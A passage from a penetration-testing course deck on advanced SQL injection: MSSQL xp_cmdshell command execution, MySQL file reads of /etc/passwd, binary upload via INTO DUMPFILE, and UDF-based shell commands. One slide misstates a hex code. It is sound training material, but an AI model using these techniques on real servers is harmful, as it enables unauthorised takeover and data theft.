these stored procedures in a temporary table.
Then we can read the results by using some data dumping
techniques.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Creating a temporary table

The first thing we want to do is to create a temporary table to


hold the stored procedure output:

create table temptable (id int not null identity (1,1), output
nvarchar(4096) null);--

The id column will help us to access different command


outputs while the output column will contain the actual
command results.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
• Crafting the argument for xp_cmdshell

As you will see in the next step, we need to convert the


command string of the command we want to run into an
ASCII representation.

Let us say that we want to run "dir c:\"

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• We have to convert every character to it HEX ASCII
representation:
• 64 is the HEX code for "d"
• 69 is the HEX code for "i"
• 72 is the HEX code for "r"
• 20 is the HEX code for " "
• 63 is the HEX code for "c"
• 3a is the HEX code for ":"
• 4c is the HEX code for "\"
And then insert a double zero after every character of the string.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
• The result is:

0x640069007200200063003a005c00

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Executing xp_cmdshell

Now, we have to create a variable with the command string


we have just created and then we pass it to xp_cmdshell

declare @t nvarchar(4096) set @t=0x640069007200200063003a005c00


insert into temptable (output) EXEC master.dbo.xp_cmdshell @t;

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Reading the results

To read the results you can use any of the data-dumping


techniques we have seen. You can use the id field of the
temptable table to choose which command result you want
to retrieve.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Final cleanup

After performing your tests, you have to delete the


temporary table:

DROP TABLE temptable;

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


MySQL is another DBMS which provides some advanced
features. A penetration can exploit them to get full access to
a target server.
Most of the features we are going to see in a minute, rely on
the FILE privilege that "gives you permission to read and
write files on the server host".

https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_file

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The FILE privileges can be granted to any MySQL user,
depending on the web application needs. Anyway, it is always
granted to the MySQL root user both on *nix systems and MS
Windows.
This means that if an application connects to its database as
root, exploiting a SQL injection will lead not only to data
compromise, but also to full server takeover.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


It is possible to read files by using the LOAD_FILE function:

SELECT LOAD_FILE('<text file path>');

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


To read a binary file you can use it together with the HEX
function:

SELECT HEX(LOAD_FILE('<text file path>'));

By using this method, you can convert any binary file to a long
hex string that you can use to steal any data from the server.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


It is also possible to parse the content of a file and tell MySQL
how to distinguish one record from another:
Example:

CREATE TABLE temptable(output longtext);

LOAD DATA INFILE '/etc/passwd' INTO TABLE temptable FIELDS


TERMINATED BY '\n' (output);

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


The resulting table will look like this:
Example:

+--------------------------------------------------------------------------------+
| output |
+--------------------------------------------------------------------------------+
| root:x:0:0:root:/root:/bin/bash |
| daemon:x:1:1:daemon:/usr/sbin:/bin/sh |
| bin:x:2:2:bin:/bin:/bin/sh |
| sys:x:3:3:sys:/dev:/bin/sh |
| sync:x:4:65534:sync:/bin:/bin/sync |
| games:x:5:60:games:/usr/games:/bin/sh |
| . . . |
+--------------------------------------------------------------------------------+

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


By using the SELECT ... INTO DUMPFILE statement you
can write the results of a query to a file. This can be used to
download huge query results via the web application and to
upload penetration tester supplied data to the server.

SELECT <fields> FROM <table> INTO DUMPFILE '<output file path>';

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


To upload a binary file, you have to find a way to insert its
content into a table on the victim machine. Then you can
dump the table content to a file on the server file system.

But, how can you load a binary file into a table via SQL
injections?
You have to convert it into an hex-string.
And how can you do that?
By using MySQL!
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Example:

To upload /bin/ls, you have to create a file on your local


machine and then load it into a table:

mysql> SELECT HEX(LOAD_FILE('/bin/ls')) INTO DUMPFILE '/tmp/ls.dmp';


Query OK, 1 row affected (0.00 sec)

mysql> LOAD DATA INFILE '/tmp/ls.dmp' INTO TABLE mytable FIELDS TERMINATED BY 'sOmErandOM'
LINES TERMINATED BY 'oTHerRnD' (data);
Query OK, 1 row affected (0.01 sec)
Records: 1 Deleted: 0 Skipped: 0 Warnings: 0

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Then you can test it by using INTO DUMPFILE to recreate the
same file:

mysql> SELECT UNHEX(data) FROM mytable INTO DUMPFILE '/tmp/ls.test';


Query OK, 1 row affected (0.00 sec)

And test it:

# sha256sum /tmp/ls.test /bin/ls


1e87d99599ddea2a93f060b50a54066e8b756d752158e6147cbb99b06eb11d99 /tmp/ls.test
1e87d99599ddea2a93f060b50a54066e8b756d752158e6147cbb99b06eb11d99 /bin/ls

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


If everything works as expected you can upload the file
content to a table on the victim server.
You will need to split the DUMPFILE you created into chunks
of 1024 bytes and then insert them into a table field.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Example:

First you have to perform an insert with the first chunk. Next,
you have to update the field by adding the other chunks.

INSERT INTO victimtable(field) VALUES(0x7F454C4602010100000...1B000);


...
UPDATE victimtable SET field=CONCAT(data,0x12000000...4C030000120);
...
UPDATE victimtable SET field=CONCAT(data,0x000000... 9030000);
...
UPDATE ...

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


• Finally, you can write the file on the target system by
executing:

SELECT <victim field> FROM <victim table> WHERE <optional conditions> INTO
DUMPFILE '<output path>';

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Writing files is a great thing, but what about executing
commands? MySQL does not provide a function to run shell
commands by default, but it provides User Defined Functions
(UDF).
By using UDFs it is possible to create two functions:
• sys_eval(<command>) which returns the standard
output of the chosen command
• sys_exec(<command>) that returns the command exit
status
https://dev.mysql.com/doc/refman/5.7/en/adding-udf.html

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


To use those functions, you have to upload a shared object
(SO) on a *nix system or a dynamic-link library (DLL) on a
Windows system to the target server.

Then you can use them. You can find the source code of those
functions here. Moreover you can find the compiled versions
in the SQLMap repository.
http://www.mysqludf.org/
https://github.com/sqlmapproject/sqlmap/tree/master/udf/mysql
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
After uploading the files to the target system, running a
command is just a matter of performing a SELECT:

SELECT sys_eval('<command>');

SELECT sys_exec('<command>');

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


This can be easily accomplished by using the SQLMap
takeover features --os-cmd and --os-shell.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


In this chapter we have seen how a skilled attacker can
exploit some advanced DBMS features to take SQL injections
to the next level.
Most modern DBMS offer some kind of file system routines or
system shell command interfaces. This poses a high security
risk to a DBMS serving an insecure web application!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Penetration Testing Professional 5.0 – Caendra Inc. © 2018
MSSQL Injection Cheat Sheet The Web Application Hacker's Handbook
https://www.amazon.com/The-Web-
http://pentestmonkey.net/cheat-sheet/sql-
Application-Hackers-
injection/mssql-sql-injection-cheat-sheet
Handbook/dp/1118026470
Advanced SQL injection to operating system
control SQL Injection Attacks and Defense
https://members.elearnsecurity.com/course/reso
https://www.amazon.com/Injection-Attacks-
urces/name/ptp_v5_section_5_module_4_attach
ment_Advanced_SQL_Injection_to_OS
Defense-Second-Edition/dp/1597499633

Manipulating SQL Server using SQL injection Introduction to SQL


https://members.elearnsecurity.com/course/resour
https://www.w3schools.com/sql/sql_intro.as
ces/name/ptp_v5_section_5_module_4_attachmen
t_Manipulating_SQL_Server p

SQL Server 2014 Master Database on MSDN MySQL FILE privilege


https://docs.microsoft.com/en-us/sql/relational-
https://dev.mysql.com/doc/refman/8.0/en/p
databases/databases/master-database?view=sql-
server-2017 rivileges-provided.html#priv_file

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


MySQL UDF MySQL UDF Repository
https://dev.mysql.com/doc/refman/5.7/en/a
http://www.mysqludf.org/
dding-udf.html

MySQL UDF for sys_exec and sys_eval


https://github.com/sqlmapproject/sqlmap/tr
ee/master/udf/mysql

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


Exploiting In-Band SQL
Finding SQL Injections
Injections

Exploting Error-Based Exploting Blind SQL


SQL Injections Injections

SQL Injection Basics SQLMap Basics

Penetration Testing Professional 5.0 – Caendra Inc. © 2018


SQL Injections
In these SQL Injection labs, the student
can practice attacks techniques to discover
and exploit SQL Injections against different
DMBS and platforms.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

You might also like